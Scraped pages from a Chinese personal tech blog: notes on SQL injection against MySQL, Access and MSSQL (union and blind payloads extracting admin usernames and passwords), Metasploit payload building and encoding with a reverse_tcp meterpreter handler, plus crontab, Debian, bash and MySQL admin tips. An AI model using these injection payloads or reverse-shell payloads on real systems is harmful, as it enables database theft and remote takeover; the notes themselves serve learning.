MYSQL篇
1.内置函数和变量

1
@@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

1
2
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,table_name from 
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–

查字段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,column_name from 
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–

这里可以再结合下concat的拼接功能

1
2
3
4
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]

Access篇

猜表名

1
*.asp?id=1 and exists (select * from admin)

猜列名

1
*.asp?id=1 and exists (select password from admin)

Order by查询

1
*.asp?id=1 order by 3

union 查询

1
*.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

1
*.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

1
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

1
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

1
'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

1
'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

待续

[以下内容转载于网络,仅作笔记供个人参考]
Linux crontab 命令格式与详细例子
基本格式 :

1
2
*   *    *   *    *    command
分 时 日 月 周 命令

第 1 列表示分钟 159 每分钟用*或者 */1 表示
第 2 列表示小时 1
23(0 表示 0 点)
第 3 列表示日期 131
第 4 列表示月份 1
12
第 5 列标识号星期 0~6(0 表示星期天)
第 6 列要运行的命令
crontab 文件的一些例子:

1
30 21 * * * /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每晚的 21:30 重启 apache。

1
45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每月 1、10、22 日的 4 : 45 重启 apache。

1
10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每周六、周日的 1 : 10 重启 apache。

1
0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart

上面的例子表示在每天 18 : 00 至 23 : 00 之间每隔 30 分钟重启 apache。

1
0 23 * * 6 /usr/local/etc/rc.d/lighttpd restart

上面的例子表示每星期六的 11 : 00 pm 重启 apache。

1
* */1 * * * /usr/local/etc/rc.d/lighttpd restart

每一小时重启 apache

1
* 23-7/1 * * * /usr/local/etc/rc.d/lighttpd restart

晚上 11 点到早上 7 点之间,每隔一小时重启 apache

1
0 11 4 * mon-wed /usr/local/etc/rc.d/lighttpd restart

每月的 4 号与每周一到周三的 11 点重启 apache

1
0 4 1 jan * /usr/local/etc/rc.d/lighttpd restart

一月一号的 4 点重启 apache
名称 : crontab
使用权限 : 所有使用者
使用方式 :

1
2
3
4
5
6
crontab file [-u user]-用指定的文件替代目前的 crontab。
crontab-[-u user]-用标准输入替代目前的 crontab.
crontab-1[user]-列出用户目前的 crontab.
crontab-e[user]-编辑用户目前的 crontab.
crontab-d[user]-删除用户目前的 crontab.
crontab-c dir- 指定 crontab 的目录。

crontab 文件的格式:M H D m d cmd.
M: 分钟(0-59)。
H:小时(0-23)。
D:天(1-31)。
m: 月(1-12)。
d: 一星期内的天(0~6,0 为星期天)。
cmd 要运行的程序,程序被送入 sh 执行,这个 shell 只有 USER,HOME,SHELL 这
三个环境变量
说明 :
crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就
是类似使用者的时程表。-u user 是指设定指定
user 的时程表,
这个前提是你必须要有其权限(比如说是 root)才能够指定他人
的时程表。如果不使用 -u user 的话,就是表示设
定自己的时程表。
参数 :
crontab -e : 执行文字编辑器来设定时程表,内定的文字编辑器是 VI,如果你
想用别的文字编辑器,则请先设定 VISUAL 环境变数
来指定使用那个文字编辑器(比如说 setenv VISUAL joe)
crontab -r : 删除目前的时程表
crontab -l : 列出目前的时程表
crontab file [-u user]-用指定的文件替代目前的 crontab。
时程表的格式如下 :
f1 f2 f3 f4 f5 program
其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月
份,f5 表示一个星期中的第几天。program 表示要执
行的程序。
当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行
程序,其馀类推
当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 a-b
时表示从第 a 到第 b 小时都要执行,其馀类推
当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小
时个时间间隔执行一次,其馀类推
当 f1 为 a, b, c,… 时表示第 a, b, c,… 分钟要执行,f2 为 a, b, c,…
时表示第 a, b, c…个小时要执行,其馀类推
使用者也可以将所有的设定先存放在档案 file 中,用 crontab file 的方式来
设定时程表。
例子 :
#每天早上 7 点执行一次 /bin/ls :

1
0 7 * * * /bin/ls

在 12 月内, 每天的早上 6 点到 12 点中,每隔 3 个小时执行一次
/usr/bin/backup :

1
0 6-12/3 * 12 * /usr/bin/backup

周一到周五每天下午 5:00 寄一封信给 [email protected] :

1
0 17 * * 1-5 mail -s "hi" [email protected] < /tmp/maildata

每月每天的午夜 0 点 20 分, 2 点 20 分, 4 点 20 分….执行 echo “haha”

1
20 0-23/2 * * * echo "haha"

注意 :
当程序在你所指定的时间执行后,
系统会寄一封信给你,
显示该程序执行的内容,
若是 你不希望收到这样的信,请在每一行空一格之
后加上 > /dev/null 2>&1 即可
例子 2 :
#每天早上 6 点 10 分

1
10 6 * * * date

#每两个小时

1
0 */2 * * * date

#晚上 11 点到早上 8 点之间每两个小时,早上 8 点

1
0 23-7/2,8 * * * date

#每个月的 4 号和每个礼拜的礼拜一到礼拜三的早上 11 点

1
0 11 4 * mon-wed date

#1 月份日早上 4 点

1
0 4 1 jan * date

范例
$crontab -l 列出用户目前的 crontab.

Debian是我日常使用的桌面系统,这里记录了我在使用Debian时所有的问题和解决办法,以及一些其他的心得体会。
向Debian致敬!

找回桌面系统关机按钮
在/etc/polkit-1/localauthority/50-local.d/新建文件50-admin.pkla,写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
[disable suspend]   
Identity=unix-user:*
Action=org.freedesktop.upower.suspend
ResultAny=no
ResultInactive=no
ResultActive=no
[disable hibernate]
Identity=unix-user:*
Action=org.freedesktop.upower.hibernate
ResultAny=no
ResultInactive=no
ResultActive=no

无线不能使用的解决方法

安装rfkill工具

1
#apt-get install rfkill 

then:

1
#rfkill list all 

查看网卡设备的状态如下

1
2
3
4
5
6
0: dell-wlan: Wireless LAN   
Soft blocked: no
Hard blocked: no
1: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no

根据软件或者硬件的状态解锁

wireshark普通用户权限

1
2
3
4
5
6
$ sudo groupadd wireshark 
$ sudo usermod -a -G wireshark YOUR_USER_NAME
$ sudo chgrp wireshark /usr/bin/dumpcap
$ sudo chmod 750 /usr/bin/dumpcap
$ sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
$ sudo getcap /usr/bin/dumpcap

Adobe flash player的正确安装姿势
首先下载flash player,保存为flash.tar.gz
then:

1
2
3
tar -zxvf flash.tar.gz
mv usr/* /usr/
mv libflashplayer.so /usr/lib/mozilla/plugins/

重启浏览器即可

解决Debian8 pptp不能连接的问题
报错内容:(/var/log/syslog)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: pppd started with pid 14188
Sep 15 14:58:21 debian pppd[14188]: Plugin /usr/lib/pppd/2.4.6/nm-pptp-pppd-plugin.so loaded.
Sep 15 14:58:21 debian NetworkManager[13550]: Plugin /usr/lib/pppd/2.4.6/nm-pptp-pppd-plugin.so loaded.
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (plugin_init): initializing
Sep 15 14:58:21 debian pppd[14188]: pppd 2.4.6 started by root, uid 0
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 3 / phase 'serial connection'
Sep 15 14:58:21 debian pppd[14188]: Using interface ppp0
Sep 15 14:58:21 debian pppd[14188]: Connect: ppp0 <--> /dev/pts/0
Sep 15 14:58:21 debian NetworkManager[13550]: Using interface ppp0
Sep 15 14:58:21 debian NetworkManager[13550]: Connect: ppp0 <--> /dev/pts/0
Sep 15 14:58:21 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 5 / phase 'establish'
Sep 15 14:58:21 debian NetworkManager[13550]: <info> (ppp0): new Generic device (driver: 'unknown' ifindex: 57)
Sep 15 14:58:21 debian NetworkManager[13550]: <info> (ppp0): exported as /org/freedesktop/NetworkManager/Devices/15
Sep 15 14:58:21 debian NetworkManager[13550]: <info> devices added (path: /sys/devices/virtual/net/ppp0, iface: ppp0)
Sep 15 14:58:21 debian NetworkManager[13550]: <info> device added (path: /sys/devices/virtual/net/ppp0, iface: ppp0): no ifupdown configuration found.
Sep 15 14:58:52 debian pppd[14188]: LCP: timeout sending Config-Requests
Sep 15 14:58:52 debian pppd[14188]: Connection terminated.
Sep 15 14:58:52 debian avahi-daemon[588]: Withdrawing workstation service for ppp0.
Sep 15 14:58:52 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 11 / phase 'disconnect'
Sep 15 14:58:52 debian NetworkManager[13550]: <info> devices removed (path: /sys/devices/virtual/net/ppp0, iface: ppp0)
Sep 15 14:58:52 debian pptp[14193]: nm-pptp-service-14185 warn[decaps_hdlc:pptp_gre.c:216]: pppd may have shutdown, see pppd log
Sep 15 14:58:52 debian pppd[14188]: Modem hangup
Sep 15 14:58:52 debian pppd[14188]: Exit.
Sep 15 14:58:52 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_phasechange): status 1 / phase 'dead'
Sep 15 14:58:52 debian NetworkManager[13550]: ** Message: nm-pptp-ppp-plugin: (nm_exit_notify): cleaning up
Sep 15 14:58:52 debian NetworkManager[13550]: ** (nm-pptp-service:14185): WARNING **: pppd exited with error code 16

依次输入如下命令:

1
2
3
modprobe nf_nat_pptp
modprobe nf_conntrack_pptp
modprobe nf_conntrack_proto_gre

下次启动还会失效,所以要编辑/etc/modules-load.d/modules.conf文件,添加如下三行:

1
2
3
nf_nat_pptp
nf_conntrack_pptp
nf_conntrack_proto_gre

正确安装ruby RVM的方法

1
curl -sSL https://get.rvm.io | bash -s stable

编辑命令
Ctrl + a :移到命令行首
Ctrl + e :移到命令行尾
Ctrl + f :按字符前移(右向)
Ctrl + b :按字符后移(左向)
Alt + f :按单词前移(右向)
Alt + b :按单词后移(左向)
Ctrl + xx:在命令行首和光标之间移动
Ctrl + u :从光标处删除至命令行首
Ctrl + k :从光标处删除至命令行尾
Ctrl + w :从光标处删除至字首
Alt + d :从光标处删除至字尾
Ctrl + d :删除光标处的字符
Ctrl + h :删除光标前的字符
Ctrl + y :粘贴至光标后
Alt + c :从光标处更改为首字母大写的单词
Alt + u :从光标处更改为全部大写的单词
Alt + l :从光标处更改为全部小写的单词
Ctrl + t :交换光标处和之前的字符
Alt + t :交换光标处和之前的单词
Alt + Backspace:与 Ctrl + w 类似 重新执行命令
Ctrl + r:逆向搜索命令历史
Ctrl + g:从历史搜索模式退出
Ctrl + p:历史中的上一条命令
Ctrl + n:历史中的下一条命令
Alt + .:使用上一条命令的最后一个参数 控制命令
Ctrl + l:清屏
Ctrl + o:执行当前命令,并选择上一条命令
Ctrl + s:阻止屏幕输出
Ctrl + q:允许屏幕输出
Ctrl + c:终止命令
Ctrl + z:挂起命令 Bang (!)命令
!!:执行上一条命令
!blah:执行最近的以 blah 开头的命令,如 !ls
!blah:p:仅打印输出,而不执行
!$:上一条命令的最后一个参数,与 Alt + . 相同
!$:p:打印输出 !$ 的内容
!:上一条命令的所有参数
!
:p:打印输出 !* 的内容
^blah:删除上一条命令中的 blah
^blah^foo:将上一条命令中的 blah 替换为 foo
^blah^foo^:将上一条命令中所有的 blah 都替换为 foo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash   
user=root
pwd=password
DB=test
TABLE=md5
mysql -u$user -p$pwd -e "USE $DB;CREATE TABLE $TABLE(id int not null primary key auto_increment,md5 text(32),plain varchar(100));"
while read line
do
md5=`echo $linemd5sumawk -F " " '{print $1}'`
#plain=$line
mysql -u$user -p$pwd -e "USE $DB;INSERT $TABLE (md5,plain) VALUES('$md5','$line');"
done < plaindic

#mysql -u$user -p$pwd -e "USE $DB;SELECT * FROM md5;"

刚装完的mysql数据库出现了如下错误:
ERROR 1045 (28000): Access denied for user ‘root‘@’localhost’ (using password: NO)
参考了这篇博文:
http://www.cnblogs.com/khler/archive/2011/02/10/1950819.html
用下面的语句解决了问题

1
2
3
4
5
6
7
8
/etc/init.d/mysql stop 
mysqld_safe --skip-grant-tables&
mysql --user=root mysql
mysql>update user set Password=PASSWORD('new-password');
mysql>flush privileges;
mysql>exit;
killall mysqld_safe&
/etc/init.d/mysql start

封装攻击载荷

msfpayload:

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msfpayload [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>

Summary:summary and optons of payload

C:C language

Perl:Perl

Ruby:Ruby

Raw:Raw,allows payload to be piped into msfencode and other tools

Js:JavaScript

eXe:windows executable

Dll:Dll

Vba:VBA

War:war package

example:

msfpayload -l | grep windows | grep reverse_tcp | grep meterpreter

msfpayload windows/meterpreter/reverse_tcp O:show options

msfpayload [payload] X >xx.exe

攻击载荷编码

msfencode:

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
msfencode <options>

OPTIONS:

-a <opt> The architecture to encode as:哪种体系结构编码

-b <opt> The list of characters to avoid: '\x00\xff':指定要避免的字符

-c <opt> The number of times to encode the data:编码数据的次数

-d <opt> Specify the directory in which to look for EXE templates:指定搜索exe模板的目录

-e <opt> The encoder to use:使用的编码器

-h Help banner:帮助标题

-i <opt> Encode the contents of the supplied file path:为提供的文件内容编码

-k Keep template working; run payload in new thread (use with -x):让模板继续工作;即让载荷在新线程中运行

-l List available encoders:列出可用的编码器

-m <opt> Specifies an additional module search path:制定一个额外的模板搜索路径

-n Dump encoder information:输出编码器信息

-o <opt> The output file:输出文件

-p <opt> The platform to encode for:要编码的平台

-s <opt> The maximum size of the encoded data:编码后的最大字节数

-t <opt> The output format:输出格式 bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war

-v Increase verbosity:增加冗长

-x <opt> Specify an alternate executable template:指定一个备用的可执行文件模板

受害会话接收

1
2
3
4
5
6
7
8
9
10
11
msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST x.x.x.x LPORT xxxx

msf exploit(handler) > exploit

[*] Started reverse handler on x.x.x.x:xxxx

[*] Starting the payload handler...

也可以不打开msfconsole,用msfcli

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msfcli <exploit_name> <option=value> [mode]

Mode Description

---- -----------

(A)dvanced Show available advanced options for this module显示这个模块可用的高级选项

(AC)tions Show available actions for this auxiliary module显示辅助模块的可用行为

(C)heck Run the check routine of the selected module为所选模块检查运行历程

(E)xecute Execute the selected module执行所选模块

(H)elp You're looking at it baby!么么大

(I)DS Evasion Show available ids evasion options for this module

(O)ptions Show available options for this module

(P)ayloads Show available payloads for this module

(S)ummary Show information about this module

(T)argets Show available targets for this exploit module

Examples:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E

msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=6555 E

guest@universe: ~$whoami && whereis who && find / home

0x00 关于我

很宅很宅的一枚宅男。爱好一切。

0x02 关于chorder.net

2012年3月12
搭建第一处个人站点chorder.xp3.biz,使用免费域名+免费空间
2013年
购买域名chorder.org,基于wordpress发布第一个博客站点。
2014年
chorder.org域名到期,没有继续维护
同时参与团队博客建设,维护chorder.wpsec.org
2015年初
申请域名chorder.net
并启用搬瓦工VPS,使用静态页面,定期POST文章
2015年中
使用github.io维护静态博客页面
2015年末
使用redhat公有云至今,并决定长期维护本站点。
2016年3月11日
重新迁回搬瓦工,启用https,证书颁发机构为StartCom Ltd.(https://www.startssl.com/)

0x03 在技术方面的座右铭
Talking is cheap,show me your code.

0x04 联系方式

Email: ruby -r 'base64' -e 'puts Base64.decode64("Y2hvcmRlckBjaG9yZGVyLm5ldA==")'

Powerd By Chorder
Since 2012

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×